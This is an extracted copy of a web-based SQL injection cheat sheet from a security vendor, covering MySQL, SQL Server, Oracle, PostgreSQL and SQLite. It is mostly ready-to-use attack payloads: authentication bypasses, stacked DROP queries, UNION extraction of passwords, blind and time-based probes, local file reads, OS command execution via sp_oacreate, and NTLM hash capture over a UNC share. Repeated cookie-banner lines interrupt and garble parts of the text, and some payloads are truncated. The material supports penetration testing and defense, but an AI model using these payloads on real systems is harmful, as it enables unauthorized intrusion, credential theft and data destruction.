SQL Injection Cheat Sheet
SQL Injection Cheat Sheet
Use the Invicti SQL Injection Cheat Sheet to learn about exploiting different variants
of the SQL injection vulnerability. The cheat sheet includes technical information
and payloads for SQL injection attacks against MySQL, Microsoft SQL Server,
Oracle and PostgreSQL database servers.
This cheat sheet has been the web’s leading reference for SQL injection payloads
ever since it was first published in 2015 on Netsparker. It is a living document in
constant development and currently contains payloads and tips for MySQL,
Microsoft SQL Server, Oracle, PostgreSQL, and SQLite. As with any cheat sheet,
some examples might not work in every situation because injection in real live
environments will vary depending on the server configuration, structured query
language dialect, usage of parentheses, application framework, and unexpected,
strange, and complex SQL statements.
M = works on MySQL
S = works on SQL Server
P = works on PostgreSQL
O = works on Oracle
L = works on SQLite
+ = works on potentially other databases
When a payloads works on several database systems, you will see multiple symbols:
DAST solutions such as Invicti and Acunetix by Invicti can quickly and
automatically test hundreds of SQLi attack variations with unique payload values
to be sure that a specific application reaction indicates a true vulnerability.
Covering in-band, out-of-band, and even boolean SQL injections, Invicti DAST
tools not only identify vulnerabilities but can safely exploit many of them and
present a proof of exploit.
Learn how Invicti’s proof-based scanning works and get a demo to see it in
action!
Table of contents
Line comments
Inline comments
2. Stacking queries
3. If statements
MySQL If statement
SQL Server If statement
Oracle If statement
PostgreSQL If statement
SQLite
By using this website If statement
you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
If statement SQL injection attack samples
4. Using integers
5. String operations
String concatenation
Strings without quotes
6. Union injections
14. Error-based SQL injections in SQL Server: A fast way to extract data
15. Finding the database structure in MySQL
WAITFOR DELAY
BENCHMARK()
pg_sleep()
sleep()
dbms_pipe.receive_message()
Line comments
Put a line comment at the end to comment out the rest of the query. Line comments
are typically used to ignore the rest of the original query so you don’t need to worry
about ensuring valid syntax after the injection point.
-- (SMPOL)
DROP sampletable;--
# (M)
DROP sampletable;#
Inline comments
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
You can use inline comments to comment out the rest of a query as with line
comments (by simply not closing the comment). They are also useful for
manipulating characters to bypass filtering/blacklisting, remove spaces, and
obfuscate queries. In MySQL, you can use its special comment syntax to detect the
database and version.
Obfuscation: DROP/*comment*/sampletable
Breaking up a keyword to avoid filters: DR/**/OP/*bypass
blacklisting*/sampletable
This special comment syntax is perfect for detecting that MySQL is being used
because any instructions you put in this comment will only execute in MySQL. You
can even use this to detect the version. The following example will execute and
generate an error only is the server uses MySQL in the specified version or later:
Stacking queries
Stacking means executing more than one query in one transaction. This technique
can be very useful but only works for some combinations of database server and
access method:
; (MSP)
SELECT * FROM members; DROP members--
When successful, this will end one query and start another one.
Note that results from the second query (and any additional queries) are not
returned to the application. You need to use blind SQL injection methods to
confirm that the second query is working, such as a delay, DNS query, etc.
This will run DROP members SQL sentence after normal SQL Query.
If statements
Get response based on an IF statement. This is one of the key techniques for Blind
SQL Injection. Also very useful to test simpler things blindly yet accurately.
MySQL If statement
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
Oracle If statement
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END; (O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END
IF; END;
PostgreSQL If statement
SELECT CASE WHEN condition THEN true-part ELSE false-part
END; (P)
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;
SQLite If statement
iif(condition, true-part, false-part) (L)
SELECT iif(1<2, "True", "False");
Using integers
SELECT 0x5045 (M) (this is not an integer but a string based on the hex
value…)
SELECT 0x50 + 0x45 (M) (… but this is now an integer!)
You can use this technique in comparisons, for example: ' OR 0x20 + 0x10 =
0x30 -- -
String operations
String-related operations can be useful for building up injections that do not use any
quotes, bypassing blacklisting, or determining the type of back-end database.
String concatenation
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
Note that for MySQL, the above example will only work if MySQL is running in
ANSI mode. Otherwise, MySQL will treat || as a logical operator and return 0. A
better way it to use the CONCAT() function in MySQL:
CHAR() (SM)
Returns a character based on its ASCII value.
SELECT CHAR(64)
CHR() (P)
Returns a character based on its ASCII value.
SELECT CHR(64)
UNION-based injections
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
With the UNION statement, you can run cross-table SQL queries. Basically, by
injecting UNION , you can poison a query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members
This query will combine results from the news and members tables and return all of
them.
MySQL (M)
Use Hex() to deal with any encoding issues
admin' --
admin' #
admin'/*
' or 1=1--
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
' or 1=1#
More information in our Privacy Policy.
' or 1=1/*
') or '1'='1--
') or ('1'='1--
An application may verify login credentials by first getting the user record based on
the username and then checking if the hash of the input password value is correct.
You can UNION results with a known password and the MD5 hash of this password.
The application will then compare your password and your supplied MD5 hash
instead of the hash value from the database.
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
…
' GROUP BY table.columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 --
Once you are not getting any more errors, you are done.
ORDER BY 1--
ORDER BY 2--
…
ORDER BY N--
Keep going until you get an error, which means you have found the number of
columns being selected.
In blind injection situations, make sure you always check if the error is coming
from the
By using this website database
you agree with ouror from
use the application
of cookies itself. Some
to improve its performance andlanguages
enhance your(like ASP.NET)
experience.
More information in our Privacy Policy.
tend to generally throw errors when dealing with NULL values (mostly because
developers are not expecting to process NULL in a field like username.)
You can also use cast() or convert() in a similar way, for example:
Rinse and repeat until you have all the column types mapped out.
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
You will get convert() errors before UNION target errors, so remember to start
with convert() and only then do UNION .
@@version (MS)
Gives you the database version and other information for SQL Server. This is a
constant, so you can just select it like any other column (you don’t need to
supply the table name). You can also use @@version in INSERT and UPDATE
statements as well as in functions:
INSERT INTO members(id, user, pass) VALUES(1,
''+SUBSTRING(@@version,1,10) ,10)
version() (P)
UNION SELECT NULL, version(), NULL
sqlite_version() (L)
UNION SELECT NULL,sqlite_version(),NULL;
Inserting the content of a file into a table lets you browse local files when you only
have database access. If you are dealing with a particularly old version of IIS (up to
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
andinformation
More includingin ourIIS6),
PrivacyifPolicy.
you don’t know the internal path of a web application, you can
read the IIS metabase file at %systemroot%\system32\inetsrv\MetaBase.xml, load it
into a table, and then search in it to identify the application path.
You can then drop the temp table and repeat for another file.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
1. It’s disabled by default in SQL Server 2005, so you need to enable it first (see
below).
2. You need to have admin access to enable it.
A simple ping check can be useful to see if you’re in (you’ll first need to set up a
firewall or sniffer to identify the request):
Note that you can’t directly read the results of this EXEC from an error, UNION
query, or similar.
xp_regaddmultistring
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
You can also use sp_addextendedproc to add a new procedure, which basically
lets you execute arbitrary code:
Remember that you cannot use sub-selects in SQL Server INSERT queries.
1 SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.
If injecting into the second limit value, you can comment it out or use it in your
UNION injection.
Here’s a sample payload that combines variables and system table queries to
extract data into a temporary table (use syscolumns and sysobjects for older
version and sys.columns and sys.objects for newer versions):
1 ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FRO
2 id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
3 AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
4
5 ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FRO
6 id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS')
7 AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
In any decent production application, you generally cannot see any error responses
on the page. This rules out extracting data directly through error-based attacks. In
these cases, you have to use blind SQL injections to extract the data. There are two
basic kinds of blind SQL injections:
Normal blind injections: You cannot see the response directly on the page,
but you can still determine the result of a query based on a response or HTTP
status code.
Totally blind injections: You cannot see the effects of your injection in any
kind of output. This is less common, for example when you’re injecting into a
logging function or similar.
In normal blind injections, you can use IF statements or abuse WHERE clauses in
queries, which is generally the easier route. For totally blind injections, you need to
use some kind of wait function and then analyze the response times.
pg_sleep(10) in PostgreSQL
For Oracle, there are some PL/SQL tricks you can use for the same effect.
The following series of queries was executed to track down the first character
(where TRUE and FALSE flags indicate the logical result of each query):
Since the last two queries both failed, we now know that 80 is the ASCII value of the
first character of the table name, so the table name starts with the letter P. In this
way, you can exploit blind SQL injections using a binary search algorithm. Another
well-known way is to read data one bit at a time. Both methods can be effective in
different conditions. If you can get direct feedback, it’s enough to go through a fixed
list of possible characters. If your only indication of success are differing response
times or if the application is slow, you can use an algorithm like the one above.
Be careful if using times longer than 20–30 seconds because the database API
connection or script can time out.
You can also use fractional time values, though in general, longer waiting times are
less sensitive to variations in server load or available bandwidth:
BENCHMARK() (M)
1 BENCHMARK(how-many-repeats, expression-to-execute)
pg_sleep() (P)
SELECT pg_sleep(10);
Sleep for 10 seconds.
sleep() (M)
Sleep for the specified time in seconds:
SELECT sleep(10);
Sleep 10 seconds.
dbms_pipe.receive_message() (O)
Here are some quick checks to determine if blind SQL injections are possible:
product.asp?id=4 OR 1=1
product.asp?name=Bo'%2b'ok
product.asp?name=Book' OR 'x'='x
SELECT ... INTO DUMPFILE (Writes the query result into a new file—
cannot modify existing files)
SELECT USER();
Reading a file:
query.php?user=1+union+select+load_file(0x63...),1
Populating a table from a file using LOAD DATA INFILE (not available in a
default config, you first need to enable the setting local_infile ):
query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1
Brute-force enumeration:
select if( (ascii(substring(user(),1,1)) >> 7) & 1,
benchmark(100000,sha1('test')), 'false' );
SHA1()
PASSWORD()
ENCODE()
Say you have an application that lets you create some kind of user account. You can
try this injection into the name field:
With this payload, if the application uses the name field value in an unsafe stored
procedure, function, or process, it will store the first user’s password as your name.
This attack can help you get the SQL Server user’s Windows password for the target
server when your inbound connection is firewalled. This can be very useful during
internal penetration tests.
The trick is to force SQL Server to connect to your Windows UNC share and then
capture NTLM session data with a tool like Cain & Abel.
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
Classification ID / Severity
OWASP 2013 A1
OWASP 2017 A1
CWE 89
CAPEC 66
WASC 19
ISO27001 A.14.2.5
Base 10 (Critical)
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
MoreTemporal
information in our Privacy Policy. 10 (Critical)
Classification ID / Severity
Environmental 10 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base 10 (Critical)
Temporal 10 (Critical)
Environmental 10 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Related Articles
By using this website you agree with our use of cookies to improve its performance and enhance your experience.
More information in our Privacy Policy.